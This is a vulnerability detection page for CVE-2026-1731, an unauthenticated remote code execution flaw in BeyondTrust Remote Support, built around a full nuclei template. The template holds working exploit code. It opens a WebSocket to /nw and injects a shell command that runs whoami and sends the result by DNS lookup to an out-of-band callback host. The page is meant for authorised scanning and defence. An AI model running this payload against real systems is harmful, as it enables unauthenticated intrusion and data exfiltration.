CVE-2026-1731· beyondtrust / remote support· CWE-78
BeyondTrust Remote Support - Unauthenticated WebSocket RCE
Exploited in the wild. Listed by CISA on 2026-02-13; known to be used by ransomware.
BeyondTrust Remote Support is vulnerable to unauthenticated remote code execution via the WebSocket endpoint /nw. An attacker can extract the company identifier from the /get_mech_list endpoint and use it to connect to the WebSocket service, then inject OS commands through the binary WebSocket payload that are executed on the server.
Impact
Remote attackers can execute arbitrary commands on the system without authentication, potentially leading to full system compromise.
Fix
Apply the latest security patches provided by BeyondTrust for Remote Support and Privileged Remote Access products.
How to confirm it
Send: GET /get_mech_list?version=3
Positive when: contains "company"
Positive when: contains(interactsh_protocol, "dns")Run it with nuclei: nuclei -id CVE-2026-1731 -u <target>
The full check
id: CVE-2026-1731
info:
name: BeyondTrust Remote Support - Unauthenticated WebSocket RCE
author: attackerkb,hacktron,pdteam
severity: critical
description: |
BeyondTrust Remote Support is vulnerable to unauthenticated remote code execution via the WebSocket endpoint /nw. An attacker can extract the company identifier from the /get_mech_list endpoint and use it to connect to the WebSocket service, then inject OS commands through the binary WebSocket payload that are executed on the server.
impact: |
Remote attackers can execute arbitrary commands on the system without authentication, potentially leading to full system compromise.
remediation: |
Apply the latest security patches provided by BeyondTrust for Remote Support and Privileged Remote Access products.
reference:
- https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis
- https://www.hacktron.ai/blog/cve-2026-1731-beyondtrust-remote-support-rce
- https://www.beyondtrust.com/trust-center/security-advisories/bt26-02
classification:
cve-id: CVE-2026-1731
epss-score: 0.93852
epss-percentile: 0.99846
cwe-id: CWE-78
metadata:
verified: true
max-request: 2
vendor: beyondtrust
product: remote_support
shodan-query: http.html:"BeyondTrust"
tags: cve,cve2026,beyondtrust,rce,websocket,oob,js,vuln,vkev,kev
flow: http(1) && javascript(1)
http:
- raw:
- |
GET /get_mech_list?version=3 HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: word
part: body
words:
- "company"
internal: true
extractors:
- type: regex
name: company
part: body
group: 1
regex:
- '"(?:default_)?company"\s*:\s*"([^"]+)"'
internal: true
javascript:
- code: |
const net = require("nuclei/net");
const nb = require("nuclei/bytes");
let address = Host + ":443";
let conn;
try { conn = net.OpenTLS('tcp', address); } catch(e) { conn = net.Open('tcp', address); }
// Step 1: WebSocket upgrade handshake
let handshake = "GET /nw HTTP/1.1\r\n";
handshake += "Host: " + Host + "\r\n";
handshake += "Upgrade: websocket\r\n";
handshake += "Connection: Upgrade\r\n";
handshake += "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n";
handshake += "Sec-WebSocket-Version: 13\r\n";
handshake += "Sec-WebSocket-Protocol: ingredi support desk customer thin\r\n";
handshake += "X-Ns-Company: " + company + "\r\n";
handshake += "\r\n";
conn.Send(handshake);
let resp = conn.RecvString(4096);
let result = "";
if (resp.indexOf("101") !== -1) {
// Step 2: Build binary WebSocket frame with command injection payload
let payload = "hax[$(/usr/bin/nslookup $(whoami)." + oob + ")]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n";
let buf = new nb.Buffer();
buf.WriteString(payload);
let payloadHex = buf.Hex();
let payloadLen = buf.Len();
// WebSocket frame structure:
// Byte 1: FIN=1 + RSV=000 + Opcode=0010 (binary) = 0x82
// Byte 2: MASK=1 + payload length
// If length < 126: single byte (7-bit length)
// If length 126-65535: byte=126, then 2-byte big-endian length
// Masking key: 00000000 (no-op XOR mask)
let frameHeader = "82";
if (payloadLen < 126) {
frameHeader += (0x80 | payloadLen).toString(16).padStart(2, '0');
} else {
frameHeader += "fe"; // 0x80 | 126
frameHeader += ((payloadLen >> 8) & 0xFF).toString(16).padStart(2, '0');
frameHeader += (payloadLen & 0xFF).toString(16).padStart(2, '0');
}
frameHeader += "00000000";
let frameHex = frameHeader + payloadHex;
conn.SendHex(frameHex);
result = conn.RecvString(4096);
}
conn.Close();
result;
args:
Host: "{{Host}}"
company: "{{company}}"
oob: "{{interactsh-url}}"
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
extractors:
- type: regex
group: 1
part: interactsh_request
regex:
- '([a-zA-Z0-9_-]+)\.[a-z0-9]{20,}\.'References
- https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis
- https://www.hacktron.ai/blog/cve-2026-1731-beyondtrust-remote-support-rce
- https://www.beyondtrust.com/trust-center/security-advisories/bt26-02
Use this check only on systems you are authorised to test. Where the data comes from